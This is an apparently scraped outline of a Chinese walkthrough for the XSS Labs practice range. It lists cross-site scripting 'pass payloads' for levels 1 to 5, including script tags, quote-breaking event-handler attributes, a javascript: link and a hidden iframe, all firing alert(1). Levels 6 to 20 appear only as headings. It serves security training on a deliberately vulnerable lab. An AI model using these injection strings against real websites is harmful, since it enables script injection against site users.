0x01:XSS LABS 靶场初识
- 0x01:XSS LABS 靶场初识
0x02:XSS LABS 过关思路
- 0x0201:XSS LABS - Level 1 过关思路
- Pass Payload:
<script>alert(1)</script>
- Pass Payload:
- 0x0202:XSS LABS - Level 2 过关思路
- Pass Payload:
"><script>alert(1)</script>
- Pass Payload:
- 0x0203:XSS LABS - Level 3 过关思路
- Pass Payload:
' onmousemove='alert(1)
- 备注:
htmlspecialchars()
函数在 PHP 8 中默认过滤掉单双引号,可能导致攻击无效。
- Pass Payload:
- 0x0204:XSS LABS - Level 4 过关思路
- Pass Payload:
" onmouseover="alert(1)
- Pass Payload:
- 0x0205:XSS LABS - Level 5 过关思路
- Pass Payload:
"><a href="javascript:alert(1)
- Pass Payload:
"><iframe src=javascript:alert(1); width="0px" height="0px"></iframe><input hidden style="text
- Pass Payload:
- 0x0206:XSS LABS - Level 6 过关思路
- 0x0207:XSS LABS - Level 7 过关思路
- 0x0208:XSS LABS - Level 8 过关思路
- 0x0209:XSS LABS - Level 9 过关思路
- 0x0210:XSS LABS - Level 10 过关思路
- 0x0211:XSS LABS - Level 11 过关思路
- 0x0212:XSS LABS - Level 12 过关思路
- 0x0213:XSS LABS - Level 13 过关思路
- 0x0214:XSS LABS - Level 14 过关思路
- 0x0215:XSS LABS - Level 15 过关思路
- 0x0216:XSS LABS - Level 16 过关思路
- 0x0217:XSS LABS - Level 17 过关思路
- 0x0218:XSS LABS - Level 18 过关思路
- 0x0219:XSS LABS - Level 19 过关思路
- 0x0220:XSS LABS - Level 20 过关思路